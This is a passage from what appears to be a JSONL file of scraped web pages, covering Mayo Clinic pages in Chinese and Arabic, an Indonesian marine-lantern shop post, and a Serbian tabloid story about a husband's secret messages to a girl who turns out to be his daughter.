Q\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f R R\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f S S\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f T T\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f U U\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f V V\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f W W\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f X X\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f Y Y\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f Z Z\n\u91cd\u7f6e\u6240\u6709\u8fc7\u6ee4\u5668\n\u641c\u7d22\u63d0\u793a\n\u7ed9\u641c\u7d22\u8bcd\u52a0\u5f15\u53f7\u3002\n\u5373\u4f7f\u641c\u7d22\u680f\u6ca1\u6709\u663e\u793a\u81ea\u52a8\u5efa\u8bae\uff0c\u4e5f\u8bf7\u70b9\u51fb\u201c\u641c\u7d22\u201d\uff0c\u60a8\u6216\u8bb8\u4ecd\u7136\u53ef\u4ee5\u83b7\u5f97\u7ed3\u679c\u3002\n\u663e\u793a$\u8d77\u59cb\u8303\u56f4 - $\u7ed3\u675f\u8303\u56f4/\u6e90\u81ea\u53ef\u7528$\u53ef\u7528\u533b\u751f\n\u59d3\u6c0f\u9996\u5b57\u6bcd: F\nDouglas O. Faigel, M.D.\nGastroenterologist\nPhoenix, AZ\n\u64c5\u957f\u9886\u57df\uff1a\nColonoscopy, Upper endoscopy, Endoscopic ultrasound, ERCP, Double balloon enteroscopy, Pancreatic cancer, Gastroesophag...eal reflux disease, Pancreatic cyst, Esophageal cancer, Colon polyps, Stomach cancer, Rectal cancer, Pancreatic neuroendocrine tumor, Pancreatitis, Stomach polyps, Gastrointestinal bleeding, Rectal neuroendocrine tumor, Esophageal stricture, Bile duct injury, Bile duct cyst, Gastric outlet obstruction, Bile duct stricture, Bile duct stone, Mediastinal lymph node enlargement, Mediastinal tumor\n\u663e\u793a\u66f4\u591a\u64c5\u957f\u9886\u57df \u9488\u5bf9 Douglas O. Faigel, M.D.\n\u7814\u7a76\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7684\u7814\u7a76\u4eba\u5458\u6b63\u5728\u52aa\u529b\u6539\u8fdb\u5185\u955c\u8d85\u58f0\u68c0\u67e5\uff0c\u5e76\u8fdb\u4e00\u6b65\u63a2\u7d22\u8be5\u6280\u672f\u7684\u5e94\u7528\u3002\u5176\u4e2d\u5305\u62ec\u5229\u7528\u5185\u955c\u8d85\u58f0\u6765\u68c0\u67e5\u662f\u5426\u6709\u764c\u524d\u75c5\u53d8\uff0c\u4f8b\u5982\u5df4\u96f7\u7279\u98df\u7ba1\u75c7\u7684\u5206\u671f\u548c\u6cbb\u7597\uff0c\u4ee5\u53ca\u5bf9\u98df\u7ba1\u764c\u548c\u80f0\u817a\u764c\u8fdb\u884c\u6cbb\u7597\u3002\u4e86\u89e3\u66f4\u591a\u5173\u4e8e\u5999\u4f51\u533b\u7597\u56fd\u9645\u80c3\u80a0\u75c5\u5b66\u548c\u809d\u75c5\u5b66\u79d1\u4ee5\u53ca\u547c\u5438\u4e0e\u5371\u91cd\u75c7\u533b\u5b66\u79d1\u7684\u7814\u7a76\u7684\u4fe1\u606f\u3002\n\u6587\u732e\n\u8bf7\u53c2\u9605\u7f8e\u56fd\u56fd\u5bb6\u533b\u5b66\u56fe\u4e66\u9986\u68c0\u7d22\u670d\u52a1\u7cfb\u7edf PubMed \u6240\u6536\u5f55\u7684\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u751f\u5728\u5185\u955c\u8d85\u58f0\u9886\u57df\u7684\u6587\u732e\u76ee\u5f55\u3002\n\u6765\u81ea\u5999\u4f51\u533b\u7597\u56fd\u9645\u5458\u5de5\n\u5728 Mayo Clinic \u6cbb\u7597\n\u7533\u8bf7\u9884\u7ea6\n\u5173\u4e8e\u5728 Mayo Clinic \u6cbb\u7597\nFeb. 21, 2025\n\u6253\u5370\n\u663e\u793a\u53c2\u8003\u6587\u732e\nUnderstanding EUS (endoscopic ultrasonography). Amerian Society for Gastrointestinal Endoscopy. https://www.asge.org Accessed Feb. 11, 2024.\nGress FG, et al. Endoscopic ultrasound: Examination of the upper gastrointestinal tract. https://www.uptodate.com/contents/search. Accessed Feb. 11, 2024.\nWiersema MJ. Endoscopic ultrasound-guided fine needle aspiration in the gastrointestinal tract. https://www.uptodate.com/contents/search. Accessed Feb. 11, 2024.\nFasanella KE, et al. Therapeutic endoscopic ultrasound. https://www.uptodate.com/contents/search. Accessed Feb. 11, 2024.\nForbes N, et al. Adverse events associated with EUS and EUS-guided procedures. Gastrointestinal Endoscopy. 2022; doi:10.1016/j.gie.2021.09.009.\nMedical review (expert opinion). Mayo Clinic. April 20, 2022.\nAmi TR. Allscripts EPSi. Mayo Clinic. April 17, 2024.\n\u76f8\u5173\n\u5353\u827e\u7efc\u5408\u5f81\n\u80f0\u817a\u56ca\u80bf\n\u80f0\u817a\u708e\n\u80f0\u817a\u764c\n\u663e\u793a\u66f4\u591a\u76f8\u5173\u5185\u5bb9\n\u4ea7\u54c1\u4e0e\u670d\u52a1\n\u4e66\u7c4d\uff1a\u300a\u5999\u4f51\u533b\u7597\u56fd\u9645\u5bb6\u5ead\u5065\u5eb7\u624b\u518c\u300b\n\u7b80\u62a5\uff1a\u5999\u4f51\u533b\u7597\u56fd\u9645\u536b\u751f\u6765\u4fe1 \u2014 \u6570\u5b57\u7248\n\u663e\u793a\u66f4\u591a\u6765\u81ea\u5999\u4f51\u533b\u7597\u56fd\u9645\u7684\u4ea7\u54c1\u548c\u670d\u52a1\n\u5185\u955c\u8d85\u58f0\n\u5173\u4e8e\n\u533b\u751f\u4e0e\u79d1\u5ba4\n\u5728 Mayo Clinic \u6cbb\u7597\nPRC-20305534\n\u533b\u5b66\u68c0\u67e5\u4e0e\u533b\u7597\u7a0b\u5e8f\n\u5185\u955c\u8d85\u58f0\n\u4e00\u4efd\u9988\u8d60\uff0c\u65e0\u7a77\u529b\u91cf\u2014\u2014\u4eca\u5929\u5c31\u6765\u4f38\u51fa\u63f4\u624b\uff01\n\u6177\u6168\u6350\u8d60\n\u60a8\u7684\u6350\u8d60\u53ef\u4ee5\u62b5\u7a0e\u3002\u8bf7\u60a8\u6177\u6168\u89e3\u56ca\uff0c\u548c\u6211\u4eec\u4e00\u8d77\u8fdb\u884c\u5c16\u7aef\u7814\u7a76\u548c\u533b\u62a4\uff0c\u5171\u540c\u63a8\u52a8\u533b\u5b66\u7684\u6539\u53d8\u3002\n\u6177\u6168\u6350\u8d60\n\u67e5\u627e\u533b\u751f\n\u67e5\u8be2\u804c\u4f4d\n\u8ba2\u9605\u7535\u5b50\u65b0\u95fb\u7b80\u8baf\n\u5173\u4e8e\u5999\u4f51\u533b\u7597\u56fd\u9645\n\u5173\u4e8e\u7f51\u7ad9\n\u8054\u7cfb\u6211\u4eec\n\u9662\u533a\u5730\u70b9\n\u5065\u5eb7\u4fe1\u606f\u653f\u7b56\n\u8054\u90a6\u533b\u7597\u4fdd\u9669\u8d23\u4efb\u533b\u7597\u7ec4\u7ec7\uff08ACO\uff09\n\u5a92\u4f53\u5782\u8be2\n\u65b0\u95fb\u7f51\u7edc\n\u4ef7\u683c\u900f\u660e\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\u4e13\u533a\nAskMayoExpert\n\u4e34\u5e8a\u8bd5\u9a8c\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u6821\u53cb\u4f1a\n\u8f6c\u8bca\u60a3\u8005\n\u5546\u52a1\u4e13\u533a\n\u9ad8\u7ba1\u5065\u5eb7\u9879\u76ee\n\u56fd\u9645\u4e1a\u52a1\u5408\u4f5c\n\u8bbe\u65bd & \u623f\u5730\u4ea7\n\u4f9b\u5e94\u5546\u4fe1\u606f\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\u4e13\u533a\nAskMayoExpert\n\u4e34\u5e8a\u8bd5\u9a8c\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u6821\u53cb\u4f1a\n\u8f6c\u8bca\u60a3\u8005\n\u5546\u52a1\u4e13\u533a\n\u9ad8\u7ba1\u5065\u5eb7\u9879\u76ee\n\u56fd\u9645\u4e1a\u52a1\u5408\u4f5c\n\u8bbe\u65bd & \u623f\u5730\u4ea7\n\u4f9b\u5e94\u5546\u4fe1\u606f\n\u5b66\u751f\u4e13\u533a\n\u5165\u5b66\u8981\u6c42\n\u5b66\u4f4d\u9879\u76ee\n\u5b66\u751f\u4e0e\u6559\u5458\u95e8\u6237\u7f51\u7ad9\n\u5b66\u751f\u4e13\u533a\n\u5b66\u4f4d\u9879\u76ee\n\u5165\u5b66\u8981\u6c42\n\u5b66\u751f\u4e0e\u6559\u5458\u95e8\u6237\u7f51\u7ad9\n\u7814\u7a76\u4eba\u5458\u4e13\u533a\n\u6559\u7814\u4eba\u5458\n\u5b9e\u9a8c\u5ba4\n\u56fd\u9645\u60a3\u8005\u4e13\u533a\n\u7ea6\u8bca\n\u8d22\u52a1\u670d\u52a1\n\u56fd\u9645\u670d\u52a1\u5730\u70b9 & \u529e\u4e8b\u5904\n\u6148\u5584\u62a4\u7406 & \u8d22\u52a1\u63f4\u52a9\n\u793e\u533a\u5065\u5eb7\u9700\u6c42\u8bc4\u4f30\n\u8d22\u52a1\u63f4\u52a9\u6587\u4ef6 - \u4e9a\u5229\u6851\u90a3\u5dde\n\u8d22\u52a1\u63f4\u52a9\u6587\u4ef6 - \u4f5b\u7f57\u91cc\u8fbe\u5dde\n\u8d22\u52a1\u63f4\u52a9\u6587\u4ef6 - \u660e\u5c3c\u82cf\u8fbe\u5dde\n\u5173\u6ce8\u5999\u4f51\u533b\u7597\u56fd\u9645\nX\nFacebook\nYouTube\nWeibo\n\u4e0b\u8f7d\u5999\u4f51\u533b\u7597\u56fd\u9645\u5e94\u7528\u7a0b\u5e8f\n\u6761\u4f8b\u6761\u6b3e\n\u9690\u79c1\u6743\u653f\u7b56\n\u9690\u79c1\u60ef\u4f8b\u58f0\u660e\n\u65e0\u6b67\u89c6\u58f0\u660e\n\u65e0\u969c\u788d\u8bbf\u95ee\u58f0\u660e\n\u5e7f\u544a & \u8d5e\u52a9\u653f\u7b56\n\u7f51\u7ad9\u5bfc\u822a\n\u7ba1\u7406 Cookies\n\u6761\u4f8b\u6761\u6b3e\n\u9690\u79c1\u6743\u653f\u7b56\n\u9690\u79c1\u60ef\u4f8b\u58f0\u660e\n\u65e0\u6b67\u89c6\u58f0\u660e\n\u65e0\u969c\u788d\u8bbf\u95ee\u58f0\u660e\n\u5e7f\u544a & \u8d5e\u52a9\u653f\u7b56\n\u7f51\u7ad9\u5bfc\u822a\n\u7ba1\u7406 Cookies\n\u8bed\u8a00:\n\u7b80\u4f53\u4e2d\u6587\nEnglish\nEspa\u00f1ol\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\n\u7b80\u4f53\u4e2d\u6587\n\u00a9 1998-2026 \u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u6559\u80b2\u4e0e\u7814\u7a76\u57fa\u91d1\u4f1a \uff08MFMER\uff09\u3002\u4fdd\u7559\u6240\u6709\u6743\u5229\u3002\n\u8bed\u8a00:\n\u7b80\u4f53\u4e2d\u6587\nEnglish\nEspa\u00f1ol\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\n\u7b80\u4f53\u4e2d\u6587", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fb977008-fca1-4d58-9e12-dc0cf0e719b2", "content_hash": "3d568fffcfb3a3a1b81e3c61088e775f7a773c069f12254097d8a21584228442", "created_at": "2026-03-28T05:10:43.770774565Z"} +{"id": "80160f04-edb8-44eb-bbe4-ec61e02fbb93", "source": "brain", "text": "\u0627\u0644\u0623\u0637\u0628\u0627\u0621 \u0648\u0627\u0644\u0623\u0642\u0633\u0627\u0645 - Mayo Clinic (\u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643)\n\n\u0627\u0644\u0623\u0637\u0628\u0627\u0621 \u0648\u0627\u0644\u0623\u0642\u0633\u0627\u0645 - Mayo Clinic (\u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643)\n\u0641\u063a\u0631 \u0627\u0644\u0631\u063a\u0627\u0645\u064a\n\u0627\u0644\u0628\u062d\u062b\n\u064a\u062f\u0631\u0633 \u0627\u062e\u062a\u0635\u0627\u0635\u064a\u0648 \u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0648\u0638\u064a\u0641\u064a\u0629 \u0637\u0648\u064a\u0644\u0629 \u0627\u0644\u0623\u062c\u0644 \u0641\u064a \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0630\u064a\u0646 \u0623\u0635\u064a\u0628\u0648\u0627 \u0628\u0633\u0643\u062a\u0629 \u062f\u0645\u0627\u063a\u064a\u0629 \u0648\u0623\u062c\u0631\u0648\u0627 \u062b\u0642\u0628 \u0627\u0644\u0642\u0635\u0628\u0629 \u0627\u0644\u0647\u0648\u0627\u0626\u064a\u0629 \u0627\u0644\u0645\u0628\u0643\u0631\u060c \u0645\u0642\u0627\u0631\u0646\u0629\u064b \u0628\u0627\u0644\u0630\u064a\u0646 \u0627\u0633\u062a\u062e\u062f\u0645\u0648\u0627 \u0623\u0646\u0627\u0628\u064a\u0628 \u0627\u0644\u062a\u0646\u0641\u0633 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u0629 \u0641\u064a \u0627\u0644\u0642\u0635\u0628\u0629 \u0627\u0644\u0647\u0648\u0627\u0626\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0641\u0645 \u0644\u0641\u062a\u0631\u0629 \u0637\u0648\u064a\u0644\u0629\u060c \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0623\u064a\u0636\u064b\u0627 \u0628\u0627\u0633\u0645 \u0627\u0644\u062a\u0646\u0628\u064a\u0628 \u0627\u0644\u0641\u0645\u0648\u064a \u0627\u0644\u0631\u0651\u064f\u063a\u0627\u0645\u064a.\n\u0627\u0644\u0645\u0646\u0634\u0648\u0631\u0627\u062a\n\u0627\u0637\u0651\u064e\u0644\u0650\u0639\u0652 \u0639\u0644\u0649 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0645\u0646\u0634\u0648\u0631\u0627\u062a \u062d\u0648\u0644 \u0627\u0644\u0641\u063a\u0631 \u0627\u0644\u0631\u063a\u0627\u0645\u064a \u0627\u0644\u062a\u064a \u0623\u0639\u062f\u0651\u064e\u0647\u0627 \u0623\u0637\u0628\u0627\u0621 Mayo Clinic \u0639\u0644\u0649 \u0645\u0646\u0635\u0629 PubMed\u060c \u0648\u0647\u064a \u062e\u062f\u0645\u0629 \u062a\u0627\u0628\u0639\u0629 \u0644\u0644\u0645\u0643\u062a\u0628\u0629 \u0627\u0644\u0648\u0637\u0646\u064a\u0629 \u0644\u0644\u0637\u0628.\n\u0645\u0646 \u0625\u0639\u062f\u0627\u062f \u0641\u0631\u064a\u0642 \u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643\n.\nMayo Clinic Footer\nLegal Conditions and Terms\n\u064a\u0645\u062b\u0644 \u0623\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0644\u0647\u0630\u0627 \u0627\u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0625\u0644\u064a\u0643\u062a\u0631\u0648\u0646\u064a \u0645\u0648\u0627\u0641\u0642\u062a\u0643 \u0639\u0644\u0649 \u0627\u0644\u0623\u062d\u0643\u0627\u0645 \u0648\u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u0633\u064a\u0627\u0633\u0629 \u0627\u0644\u062e\u0635\u0648\u0635\u064a\u0629 \u0641\u064a \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0625\u0644\u064a\u0643\u062a\u0631\u0648\u0646\u064a \u0623\u062f\u0646\u0627\u0647.\n\u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u0627\u0644\u0623\u062d\u0643\u0627\u0645\n\u0633\u064a\u0627\u0633\u0629 \u0627\u0644\u062e\u0635\u0648\u0635\u064a\u0629\n\u0625\u0634\u0639\u0627\u0631 \u0628\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0627\u0644\u062e\u0635\u0648\u0635\u064a\u0629\n\u0644\u062a\u062f\u0628\u064a\u0631 \u0645\u0644\u0641\u0627\u062a \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0637\nAdvertising\n\u062a\u0639\u062a\u0628\u0631 Mayo Clinic [\u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643] \u0645\u0646\u0638\u0645\u0629 \u063a\u0628\u0631 \u0631\u0628\u062d\u064a\u0629\u060c \u0625\u0630 \u062a\u0641\u064a\u062f \u0625\u064a\u0631\u0627\u062f\u0627\u062a \u0627\u0644\u0625\u0639\u0644\u0627\u0646 \u0639\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0629 \u0641\u064a \u062f\u0639\u0645 \u0631\u0633\u0627\u0644\u062a\u0646\u0627. \u0644\u0627 \u062a\u064f\u0635\u0627\u062f\u0642 Mayo Clinic [\u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643] \u0639\u0644\u0649 \u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u062c\u0647\u0629 \u0627\u0644\u062b\u0627\u0644\u062b\u0629 \u0623\u0648 \u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u0627\u0644\u0625\u0639\u0644\u0627\u0646 \u0639\u0646\u0647\u0627. Mayo Clinic [\u0645\u0627\u064a\u0648 \u0643\u0644\u064a\u0646\u0643] \u0645\u0646\u0638\u0645\u0629 \u063a\u064a\u0631 \u0631\u0628\u062d\u064a\u0629. \u0642\u0645 \u0628\u0627\u0644\u062a\u0628\u0631\u0639.\n\u0633\u064a\u0627\u0633\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0646 \u0648\u0627\u0644\u0631\u0639\u0627\u064a\u0629\n\u0641\u0631\u0635 \u0644\u0644\u0625\u0639\u0644\u0627\u0646 \u0648\u0627\u0644\u0631\u0639\u0627\u064a\u0629\nReprint Permissions\n\u0645\u0624\u0633\u0633\u0629 \u0645\u0627\u064a\u0648 \u0644\u0644\u062a\u0639\u0644\u064a\u0645 \u0648\u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0637\u0628\u064a. \u062c\u0645\u064a\u0639 \u0627\u0644\u062d\u0642\u0648\u0642 \u0645\u062d\u0641\u0648\u0638\u0629. \u064a\u064f\u0645\u0643\u0646 \u0625\u0639\u0627\u062f\u0629 \u0637\u0628\u0627\u0639\u0629 \u0646\u0633\u062e\u0629 \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0648\u0627\u062f \u0644\u063a\u0631\u0636 \u0627\u0644\u0627\u0633\u062a\u0639\u0645\u0627\u0644 \u0627\u0644\u0634\u062e\u0635\u064a \u063a\u064a\u0631 \u0627\u0644\u062a\u062c\u0627\u0631\u064a \u0641\u062d\u0633\u0628. \u062a\u062a\u0636\u0645\u0646 \u0627\u0644\u0639\u0644\u0627\u0645\u0627\u062a \u0627\u0644\u062a\u062c\u0627\u0631\u064a\u0629 \u0627\u0644\u062a\u0627\u0628\u0639\u0629 \u0644\u0645\u0624\u0633\u0633\u0629 Mayo Clinic \u0644\u0644\u062a\u0639\u0644\u064a\u0645 \u0648\u0627\u0644\u0628\u062d\u062b \u0627\u0644\u0637\u0628\u064a: Mayo Clinic\"\u0648 \"Mayo\" \u0648\"MayoClinic.com\" \u0648\"EmbodyHealth\" \u0648\u0627\u0644\u0631\u0645\u0632 \u062b\u0644\u0627\u062b\u064a \u0627\u0644\u062f\u064f\u0631\u0648\u0639 \u0627\u0644\u062a\u0627\u0628\u0639 \u0644\u0640 Mayo Clinic.\n\u00a9 1998-2026 Mayo Foundation for Medical Education and Research (MFMER). All rights reserved.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/80160f04-edb8-44eb-bbe4-ec61e02fbb93", "content_hash": "868d4189da987f3111c9997aceeaffaa97e8fe4abdec96ef6e5cf4030fa34b47", "created_at": "2026-03-28T05:10:43.666469101Z"} +{"id": "cfc4b18d-1ac9-4fe8-bda5-8cf7e821b021", "source": "brain", "text": "Marine Lantern, Solar Marine dan Lampu-lampu Navigasi Kelautan.: NEW I :Kap Lampu TIDELAND MARINE NAVIGATIONAL BUOY LANTERN BEACON ML-155, Lampu Na...\n\nMarine Lantern, Solar Marine dan Lampu-lampu Navigasi Kelautan.: NEW I :Kap Lampu TIDELAND MARINE NAVIGATIONAL BUOY LANTERN BEACON ML-155, Lampu Navigasi Maxlumina marine Lantern\nMarine Lantern, Solar Marine dan Lampu-lampu Navigasi Kelautan.\nSunergy Indonesia adalah sebuah usaha yang mengkhususkan diri bergerak dalam penjualan Marine Lantern, Solar Marine dan Lampu-lampu Navigasi Kelautan. Untuk Pemesanan/order Silahkan Tlp/sms/WA ke: 0896-2049-5107 atau email ke: atau \nSelasa, 07 Oktober 2025\nNEW I :Kap Lampu TIDELAND MARINE NAVIGATIONAL BUOY LANTERN BEACON ML-155, Lampu Navigasi Maxlumina marine Lantern\nAlamat Kami :SUNERGY INDONESIA , Alamat : Kedungwinangun Rt 02 Rw 07 Pedana, Kec. Klirong, Kab. Kebumen. Jawa Tengah 54381 Tlp: 0896-2049-5107 Indonesia\nUntuk Pemesanan/order Silahkan Tlp/sms/WA ke: 0896-2049-5107 atau email ke: atau \napprox dims:\nML-155 has a 155 millimeter lens, about 6 inches in diameter.\nTOTAL height is just over 19\"\nof which 7.5\" is the gray base with the colored lens being nearly a foot tall.\nGreatest total \"width\" is at the center where the halves meet: including the hinge protrusions, about 10\".\nThese Lanterns are New Stock\ndiposting oleh SUNERGY INDONESIA @ Oktober 07, 2025 0 Komentar\n0 Komentar:\nPosting Komentar\nBerlangganan Posting Komentar [Atom]\n<< Beranda\nMengenai Saya\nNama: SUNERGY INDONESIA\nLokasi: Kedungwinangun Rt 02 Rw 07 Pedana, Kec. Klirong, Kab. Kebumen. Jawa Tengah 54381 Tlp: 0896-2049-5107, Indonesia\nSunergy Indonesia adalah sebuah usaha yang mengkhususkan diri bergerak dalam penjualan Marine Lantern, Solar Marine dan Lampu-lampu Navigasi Kelautan. Untuk Pemesanan/order Silahkan Tlp/sms/WA ke: 0896-2049-5107 atau email ke: atau Alamat Kami :SUNERGY INDONESIA , Alamat : Kedungwinangun Rt 02 Rw 07 Pedana, Kec. Klirong, Kab. Kebumen. Jawa Tengah 54381 Tlp: 0896-2049-5107 Indonesia\nLihat profil lengkapku\nPostingan Sebelumnya\nwealth marine Radar Beacon RACON\nVEGA Marine Beacon VLB-5X\n3-5NM+ Solar Self Contained Marine Lantern SL-C310...\n5\u20139NM+ Stand Alone Marine Lanterns Sealite SL-125 ...\nCarmanah M650 : 4 - 6 NM / Solar Marine Lantern (...\nMorningstar Corporation SunSaver 12V, 10A Charge C...\nTIDELAND ML-300 MAXLUMINA\u00ae MARINE SIGNAL LANTERN\nLampu Pharos FA\u2010249 Marine Lantern\nRokem Radar Beacon RACON\nEnersys Cyclon\nBerlangganan\nKomentar [Atom]", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/cfc4b18d-1ac9-4fe8-bda5-8cf7e821b021", "content_hash": "039760190fc55e2257b875a9abfc38771c9bdd4365edfd6f12afc858b3a8e135", "created_at": "2026-03-28T05:10:43.583490945Z"} +{"id": "596bc73e-4615-4003-a9eb-8c4aeb11f974", "source": "brain", "text": "Kada sam videla s kim se moj mu\u017e tajno dopisuje celo telo mi se treslo: A onda mi je on otkrio istinu koju ni u najlu\u0111im snovima nisam mogla da zam...\n\nKada sam videla s kim se moj mu\u017e tajno dopisuje celo telo mi se treslo: A onda mi je on otkrio istinu koju ni u najlu\u0111im snovima nisam mogla da zamislim | Brze i provjerene vijesti\nPo\u010detna\nNovo\nRegion\nDom i vrt\nRecepti\nSavjeti\nShowbizz\nZdravlje\nSearch\nFriday, February 6, 2026\nPo\u010detna\nO nama\nKontakt\nPravila i uslovi kori\u0161tenja\nPrivacy policy\nBrze i provjerene vijesti\nPo\u010detna\nNovo\nRegion\nDom i vrt\nRecepti\nSavjeti\nShowbizz\nZdravlje\nHome Novo Kada sam videla s kim se moj mu\u017e tajno dopisuje celo telo...\nNovo\nRegion\nKada sam videla s kim se moj mu\u017e tajno dopisuje celo telo mi se treslo: A onda mi je on otkrio istinu koju ni u najlu\u0111im snovima nisam mogla da zamislim\nBy\nRedakcija\n-\nAugust 13, 2025\n450\n0\nShare\nFacebook\nTwitter\nGoogle+\nPinterest\nWhatsApp\nU dana\u0161nnjem \u010dlanku \u017eelim da podelim pri\u010du koja po\u010dinje kao bajka, ali se ubrzo pretvorila u niz neo\u010dekivanih doga\u0111aja koji su moj \u017eivot potpuno promenili. Moj mu\u017e i ja smo zajedno ve\u0107 tri godine, a u braku \u0161est meseci.\nSmatrala sam ga savr\u0161nim partnerom, \u010dovekom kakvog sam oduvek \u017eelela, i verovala sam da \u017eivim svoj san. Me\u0111utim, ono \u0161to je trebalo da bude mirno i sre\u0107no razdoblje, odjednom je po\u010delo da se ru\u0161i pred mojim o\u010dima.\nSve je po\u010delo tokom jednog putovanja kolima. Nakon dva sata vo\u017enje, stali smo da sipamo benzin i kupimo neke grickalice. Moj mu\u017e je iza\u0161ao iz automobila, a ja sam ostala sama. Tada sam primetila da je njegov telefon ostao u autu i da je stigla notifikacija sa Instagrama, \u0161to me je zbunilo jer mi je ranije rekao da nema nalog i da ga ne \u017eeli. Radoznalost me je nadvladala, pa sam uzela telefon i pro\u010ditala poruku koju je primio.\nTada je po\u010dela moja unutra\u0161nja agonija. Poruke su sadr\u017eale re\u010denice poput: \u201cVolim te\u201d i \u201cJedva \u010dekam da te vidim\u201d, a on je komentarisao slike devojke re\u010dima poput \u201cprelepa si\u201d. I dok bi svaka supruga u tom trenutku osetila bol zbog sumnje u neveru, ono \u0161to me je najvi\u0161e \u0161okiralo bio je uzrast osobe kojoj su poruke upu\u0107ene \u2013 samo 15, 16 godina.\nSrce mi je zaledilo. Bacila sam telefon iz ruku i kada se on vratio u auto, pravila sam se da spavam, zatvaraju\u0107i o\u010di dok mi se telo treslo. Morala sam da provedem jo\u0161 \u0161est sati u kolima sa \u010dovekom kojeg sam odjednom po\u010dela da ne poznajem. Jedina uteha bila je \u010dinjenica da smo i\u0161li kod mojih roditelja, gde bih se ose\u0107ala sigurnom.\nNakon dva sata putovanja, zaustavili smo se na parkingu motela. Jeza mi je pro\u0161la celim telom kada je rekao da je bolje da odmorim u pravom krevetu pre nego \u0161to nastavimo put. Po prvi put nisam se ose\u0107ala sigurno pored svog mu\u017ea. Povukla sam se u kupatilo, gde sam provela oko sat vremena, dok me je on molio da mu ka\u017eem \u0161ta nije u redu jer ga moje pona\u0161anje brine.\nNisam vi\u0161e mogla da izdr\u017eim i rekla sam mu sve \u0161to sam saznala. On je odmah po\u010deo da se izvinjava, obja\u0161njavaju\u0107i da je \u017eeleo da mi ka\u017ee istinu u pravom trenutku. Ali ja nisam mogla da prihvatim izvinjenje \u2013 moje misli su bile preplavljene sumnjom i \u0161okom. Nakon nekoliko minuta ti\u0161ine, rekao je da sam sve pogre\u0161no shvatila.\nObjasnio je da je devojka koja mi je izazvala \u0161ok njegova \u0107erka. Pokazao mi je DNK test kao dokaz njihove srodnosti. Rekao je da ga je ona prvi put kontaktirala pre godinu dana preko Facebooka. Nakon nekoliko susreta i DNK testa koji je potvrdio istinu, stvorili su jaku vezu, ali mi tada nismo znali ni\u0161ta jer je bio period priprema za na\u0161u svadbu. Njegova \u0107erka i on nisu \u017eeleli da \u0161ire informacije dok ne budu spremni.\nPri\u010da se komplikuje jer je moj mu\u017e kao tinejd\u017eer bio u vezi sa njenom majkom, koja je iznenada prekinula kontakt. \u0106erka nije znala gde je njen otac, pa su komunicirali samo putem dru\u0161tvenih mre\u017ea dok nije bila spremna da otkrije istinu svojoj majci.\nOtkri\u0107e me je potpuno zateklo. Nisam bila sigurna da li mogu da prihvatim ovu novu realnost i nisam odmah verovala da mi govori istinu. Moj mu\u017e je, shvativ\u0161i moju sumnju, pokazao sve dokaze, uklju\u010duju\u0107i poruke u kojima ga ona naziva \u201ctata\u201d. Suze i izvinjenja su sledile sa obe strane. Iako smo uspeli da razjasnimo nesporazum, ostala su pitanja o budu\u0107nosti na\u0161eg braka.\nDok razmi\u0161ljam o svemu, ne mogu da se ne zapitam kako \u0107e ovaj doga\u0111aj uticati na na\u0161u vezu i da li \u0107emo uspeti da prebrodimo sve izazove i sa\u010duvamo na\u0161 brak. Situacija je i dalje 